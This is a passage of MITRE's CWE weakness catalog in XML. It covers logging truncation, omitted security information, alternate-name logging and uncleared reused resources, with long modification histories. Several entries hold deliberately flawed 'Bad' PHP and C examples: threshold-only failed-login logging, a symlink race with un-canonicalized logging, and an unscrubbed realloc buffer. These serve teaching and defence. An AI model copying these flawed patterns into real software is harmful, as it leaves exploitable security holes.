					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="222" Name="Truncation of Security-relevant Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0585</Reference>
               <Description>Web browser truncates long sub-domains or paths, facilitating phishing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0585</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2032</Reference>
               <Description>Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2032</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0412</Reference>
               <Description>Does not log complete URI of a long request (truncation).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0412</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Truncation of Security-relevant Information</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="223" Name="Omission of Security-relevant Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code logs suspicious multiple login attempts.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function login($userName,$password){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(authenticate($userName,$password)){<xhtml:div style="margin-left:1em;">return True;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">incrementLoginAttempts($userName);<xhtml:br/>if(recentLoginAttempts($userName) &gt; 5){<xhtml:div style="margin-left:1em;">writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1029</Reference>
               <Description>Login attempts not recorded if user disconnects before maximum number of tries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1029</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1839</Reference>
               <Description>Sender's IP address not recorded in outgoing e-mail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1839</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0542</Reference>
               <Description>Failed authentication attempt not recorded if later attempt succeeds.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0542</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Omission of Security-relevant Information</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Accountability&#34;, Page 40"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="224" Name="Obscured Security-relevant Information by Alternate Name" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Access Control</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code prints the contents of a file if a user has permission.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function readFile($filename){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>$user = getCurrentUser();<xhtml:br/>$realFile = $filename;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//resolve file if its a symbolic link</xhtml:i>
                           <xhtml:br/>if(is_link($filename)){<xhtml:div style="margin-left:1em;">$realFile = readlink($filename);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if(fileowner($realFile) == $user){<xhtml:div style="margin-left:1em;">echo file_get_contents($realFile);<xhtml:br/>return;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">echo 'Access denied';<xhtml:br/>writeLog($user . ' attempted to access the file '. $filename . ' on '. date('r'));</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the is_link() and readlink() functions (CWE-363).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0725</Reference>
               <Description>Attacker performs malicious actions on a hard link to a file, obscuring the real target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0725</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Obscured Security-relevant Information by Alternate Name</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="225" Name="DEPRECATED: General Information Management Problems" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This weakness can be found at CWE-199.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): General Information Management Problems</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="226" Name="Sensitive Information in Resource Not Removed Before Reuse" Abstraction="Base" Structure="Simple" Status="Draft">
     <Description>The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities.</Description>
     <Extended_Description>
			 <xhtml:p>When resources are released, they can be made available for reuse. For example, after memory is de-allocated, an operating system may make the memory available to another process, or disk space may be reallocated when a file is deleted. As removing information requires time and additional resources, operating systems do not usually clear the previously written information.</xhtml:p>
			 <xhtml:p>Even when the resource is reused by the same process, this weakness can arise when new data is not as large as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, the information may be read by less trustworthy parties when the memory is reallocated.</xhtml:p>
			 <xhtml:p>This weakness can apply in hardware, such as when a device or system switches between power, sleep, or debug states during normal operation, or when execution changes to different users or privilege levels.</xhtml:p>
     </Extended_Description>
     <Related_Weaknesses>
      <Related_Weakness Nature="ChildOf" CWE_ID="459" View_ID="1000" Ordinal="Primary"/>
      <Related_Weakness Nature="ChildOf" CWE_ID="212" View_ID="1000"/>
      <Related_Weakness Nature="CanPrecede" CWE_ID="201" View_ID="1000"/>
     </Related_Weaknesses>
     <Weakness_Ordinalities>
      <Weakness_Ordinality>
        <Ordinality>Primary</Ordinality>
      </Weakness_Ordinality>
     </Weakness_Ordinalities>
     <Applicable_Platforms>
      <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
      <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
     </Applicable_Platforms>
     <Modes_Of_Introduction>
      <Introduction>
        <Phase>Implementation</Phase>
      </Introduction>
     </Modes_Of_Introduction>
     <Common_Consequences>
      <Consequence>
        <Scope>Confidentiality</Scope>
        <Impact>Read Application Data</Impact>
      </Consequence>
     </Common_Consequences>
     <Detection_Methods>
       <Detection_Method>
	 <Method>Manual Analysis</Method>
	 <Description>Write a known pattern into each sensitive location. Trigger the release of the resource or cause the desired state transition to occur. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the product needs to be fixed. Note that this test can likely be automated.</Description>
	 <Effectiveness>High</Effectiveness>
       </Detection_Method>
       <Detection_Method Detection_Method_ID="DM-14">
         <Method>Automated Static Analysis</Method>
         <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
         <Effectiveness>High</Effectiveness>
       </Detection_Method>
     </Detection_Methods>
     <Potential_Mitigations>
       <Mitigation>
	 <Phase>Architecture and Design</Phase>
	 <Phase>Implementation</Phase>
	 <Description>During critical state transitions, information not needed in the next state should be removed or overwritten with fixed patterns (such as all 0's) or random data, before the transition to the next state.</Description>
	 <Effectiveness>High</Effectiveness>
       </Mitigation>
       <Mitigation>
	 <Phase>Architecture and Design</Phase>
	 <Phase>Implementation</Phase>
	 <Description>When releasing, de-allocating, or deleting a resource, overwrite its data and relevant metadata with fixed patterns or random data. Be cautious about complex resource types whose underlying representation might be non-contiguous or change at a low level, such as how a file might be split into different chunks on a file system, even though "logical" file positions are contiguous at the application layer. Such resource types might require invocation of special modes or APIs to tell the underlying operating system to perform the necessary clearing, such as SDelete (Secure Delete) on Windows, although the appropriate functionality might not be available at the application layer.</Description>
	 <Effectiveness>High</Effectiveness>
       </Mitigation>
     </Potential_Mitigations>
     <Demonstrative_Examples>
       <Demonstrative_Example Demonstrative_Example_ID="DX-147">
	 <Intro_Text>This example shows how an attacker can take advantage of an incorrect state transition.</Intro_Text>
	 <Body_Text>
	   <xhtml:p>Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.</xhtml:p>
	 </Body_Text>
	 <Example_Code Nature="Bad">
	 <xhtml:p>During the transition from A to B, the device does not scrub the memory.</xhtml:p>
	 </Example_Code>
	 <Body_Text><xhtml:p>After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.</xhtml:p></Body_Text>
	 <Example_Code Nature="Good">For transition from state A to state B, remove information which should not be available once the transition is complete.</Example_Code>
       </Demonstrative_Example>
       <Demonstrative_Example Demonstrative_Example_ID="DX-148">
         <Intro_Text>The following code calls realloc() on a buffer containing sensitive data:</Intro_Text>
         <Example_Code Nature="Bad" Language="C">
           <xhtml:div>cleartext_buffer = get_secret();...<xhtml:br/>cleartext_buffer = realloc(cleartext_buffer, 1024);<xhtml:br/>...<xhtml:br/>scrub_memory(cleartext_buffer, 1024);</xhtml:div>
         </Example_Code>
         <Body_Text>There is an attempt to scrub the sensitive data from memory, but realloc() is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for cleartext_buffer could still contain an uncleared copy of the data.</Body_Text>
       </Demonstrative_Example>
     </Demonstrative_Examples>
     <Observed_Examples>
      <Observed_Example>
        <Reference>CVE-2003-0001</Reference>
        <Description>Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2003-0001</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2003-0291</Reference>
        <Description>router does not clear information from DHCP packets that have been previously used</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2003-0291</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2005-1406</Reference>
        <Description>Products do not fully clear memory buffers when less data is stored into the buffer than previous.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2005-1406</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2005-1858</Reference>
        <Description>Products do not fully clear memory buffers when less data is stored into the buffer than previous.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2005-1858</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2005-3180</Reference>
        <Description>Products do not fully clear memory buffers when less data is stored into the buffer than previous.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2005-3180</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2005-3276</Reference>
        <Description>Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2005-3276</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2002-2077</Reference>
        <Description>Memory not properly cleared before reuse.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2002-2077</Link>
      </Observed_Example>
     </Observed_Examples>
     <Functional_Areas>
      <Functional_Area>Memory Management</Functional_Area>
      <Functional_Area>Networking</Functional_Area>
     </Functional_Areas>
     <Affected_Resources>
      <Affected_Resource>Memory</Affected_Resource>
     </Affected_Resources>
     <Taxonomy_Mappings>
      <Taxonomy_Mapping Taxonomy_Name="PLOVER">
        <Entry_Name>Sensitive Information Uncleared Before Use</Entry_Name>
      </Taxonomy_Mapping>
      <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
        <Entry_ID>MEM03-C</Entry_ID>
        <Entry_Name>Clear sensitive information stored in reusable resources returned for reuse</Entry_Name>
      </Taxonomy_Mapping>
      <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
        <Entry_ID>SFP23</Entry_ID>
        <Entry_Name>Exposed Data</Entry_Name>
      </Taxonomy_Mapping>
     </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="37"/>
         </Related_Attack_Patterns>
         <Notes>
      <Note Type="Relationship">There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).</Note>
      <Note Type="Maintenance">This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective: the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.</Note>
      <Note Type="Research Gap">This is frequently found for network packets, but it can also exist in local memory allocation, files, etc.</Note>
     </Notes>
     <Content_History>
      <Submission>
        <Submission_Name>PLOVER</Submission_Name>
        <Submission_Date>2006-07-19</Submission_Date>
      </Submission>
      <Modification>
        <Modification_Name>Eric Dalci</Modification_Name>
        <Modification_Organization>Cigital</Modification_Organization>
        <Modification_Date>2008-07-01</Modification_Date>
        <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2008-09-08</Modification_Date>
        <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2008-10-14</Modification_Date>
        <Modification_Comment>updated Relationships</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2008-11-24</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2009-03-10</Modification_Date>
        <Modification_Comment>updated Relationships</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2009-05-27</Modification_Date>
        <Modification_Comment>updated Relationships</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2009-10-29</Modification_Date>
        <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2010-02-16</Modification_Date>
        <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes, Relationship_Notes</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2010-09-27</Modification_Date>
        <Modification_Comment>updated Relationships</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2010-12-13</Modification_Date>
        <Modification_Comment>updated Description</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2011-06-01</Modification_Date>
        <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2011-09-13</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2012-05-11</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2014-07-30</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
